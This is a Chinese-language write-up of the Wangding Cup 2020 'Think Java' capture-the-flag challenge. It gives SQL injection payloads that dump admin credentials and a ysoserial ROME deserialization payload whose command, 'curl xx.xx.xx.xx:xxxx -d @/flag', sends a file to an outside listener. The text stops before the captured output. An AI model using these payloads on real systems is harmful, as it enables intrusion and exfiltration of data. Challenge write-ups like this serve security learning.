【网鼎杯 2020 朱雀组】Think Java

【网鼎杯 2020 朱雀组】Think Java

首先下载题目附件，是一些.class文件，反编译查看。

注意到引入的其中一个包：

import io.swagger.annotations.ApiOperation;

Swagger
Swagger 是一个规范和完整的框架，用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。文件的方法，参数和模型紧密集成到服务器端的代码，允许API来始终保持同步。
Swagger UI 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。

访问/swagger-ui.html页面，得到如下三支接口
/common/user/current
/common/user/login
/common/test/sqlDict

查看sqlDict.class文件，该接口将用户传入的数据库名拼接到sql语句中执行查询。
如果用户没有指定数据库名，则使用默认，可以得知数据库名称为myapp。

String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);

经过代码审计，这里存在sql注入。
对于Mysql数据库连接url参数设置，一般格式如下：

jdbc.url=jdbc:mysql://localhost:3306/database?useUnicode=true&characterEncoding=utf8&autoReconnect=true

在数据库名后，可以使用?附加参数，附加无效参数也不会影响连接，所以这里可以使用一个参数进行联合注入查询。
Payload：
myapp?a=1' union select 1#
或
myapp#' union select 1#

拼接后的连接url为：

jdbc:mysql://localhost:3306/myapp?a=1' union select 1#
jdbc:mysql://localhost:3306/myapp#' union select 1#

执行的查询语句为：

Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = 'myapp?a=1' union select 1#' and table_name='" + TableName + "';
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = 'myapp#' union select 1#' and table_name='" + TableName + "';

在swagger.html上执行payload，成功执行，可以看到联合查询的数据被附加在了tableDescribe参数后，且得知表名为user，表的字段名有id、name、pwd。

查询用户名Payload：
myapp#' union select name from user#

查询密码Payload：
myapp#' union select pwd from user#

得知用户名密码：

admin/admin@Rrrr_ctf_asde

使用登录接口登录，登录成功，得到一串data数据。

{
  "data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
  "msg": "登录成功",
  "status": 2,
  "timestamps": 1649404359032
}

看到data数据以rO0AB开头，基本可以确定是Java序列化后Base64编码的数据。

将data数据上送给获取当前用户接口，发现请求成功，并返回了当前用户的用户名，因此判断该接口中进行了Java对象的反序列化。

使用ysoserial生成Payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl xx.xx.xx.xx:xxxx -d @/flag" | base64 -w 0

监听对应端口，并使用current接口发送生成的反序列化数据：

这里的Payload没有直接反弹shell，而是使用了这个命令：

curl xx.xx.xx.xx:xxxx -d @/flag

curl 命令使用 -d 参数可以发送 POST 请求

假设有一个登录页面 www.example.com/login，只需要提交用户名和密码便可登录。我们可以使用 CURL 来完成这一 POST 请求，-d 用于指定发送的数据，-X 用于指定发送数据的方式。如：

curl -d "userName=tom&passwd=123456" -X POST http://www.example.com/login

在使用 -d 的情况下，如果省略 -X，则默认为 POST 方式：

curl -d "userName=tom&passwd=123456" http://www.example.com/login

@符号表示从文件中读取数据，如：

在服务端监听对应端口，可以看到两次POST的数据：